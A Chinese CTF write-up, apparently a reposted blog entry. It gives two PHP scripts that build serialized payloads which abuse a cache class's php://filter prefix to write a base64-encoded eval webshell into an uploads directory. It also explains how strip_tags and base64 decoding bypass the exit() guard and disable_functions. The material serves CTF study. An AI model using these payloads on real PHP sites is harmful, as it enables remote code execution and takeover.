标签:lse png 通过 pass function 反序 不用 为什么 word
放在php新特性的文章最后了,利用json反序列化脚本绕过disable_functions来get flag
来自https://zhzhdoai.github.io/
<?php
error_reporting(0);
class A{
protected $store;
protected $key;
protected $expire;
public $complete;
public $cache;
public function __construct()
{
$this->key = ".php";
$this->store = (new B());
$this->expire = 6666;
$this->complete="IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+";
$this->cache=["1"];
}
}
class B
{
public $options;
public function __construct()
{
$this->options[‘prefix‘]=‘php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1‘;
$this->options[‘serialize‘]=‘serialize‘;
$this->options[‘data_compress‘]=0;
}
}
echo urlencode(serialize((new a())));
来自https://www.jianshu.com/p/763427ea0e4b
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = ‘1.php‘;
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}
$a = new A();
$b = new B();
$b->options[‘prefix‘] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$b->options[‘expire‘] = 11;
$b->options[‘data_compress‘] = false;
$b->options[‘serialize‘] = ‘strval‘;
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = ‘111‘;
$a->cache = array($path=>$object);
$a->complete = ‘2‘;
echo urlencode(serialize($a));
?>
第二个脚本就是取交集使获得base64的字符串,但是需要算字数,因为要满足base64 4个字节为一组的形式,所以需要算$data之前的字节数,保持4个字节为一组将前面的<??>标签中的内容正常解码,否则影响后续写入内容。其实这里不用猜的,可以去fuzz尝试,在本地尝试字符串,先尝试填充字符串看能否base64-decode,如果decode出来完整的一句话木马说明成功。



第一个脚本不需要计算字数,通过
php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1
用strip_tags去除了XML整个标签内容,并且再base64解码写入。第一个脚本巧妙在直接$this->cache=["1"];,然后结合json_encode和serialize

解释下为什么可以,因为base64解码默认的解码范围如下

能解码的部分就为
s511IDw\/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+
前面的s511四个字节为一组,解码为..u

因此就会解码为..u <?php eval($_POST[osword]);?>形成了正确的形式。因为用了
string.strip_tags|convert.base64-decode/resource
因此<??>标签中的内容直接被string.strip_tags去除
$data = "<?php\n//" . sprintf(‘%012d‘, $expire) . "\n exit();?>\n" . $data;
注意这里,不要认为\n中的n会被算进去base64解码的字符数,因为这里用的双引号,不会对base64解码造成任何影响。

现在环境还开着,可以尝试去复现。
标签:lse png 通过 pass function 反序 不用 为什么 word
原文地址:https://www.cnblogs.com/BOHB-yunying/p/11930028.html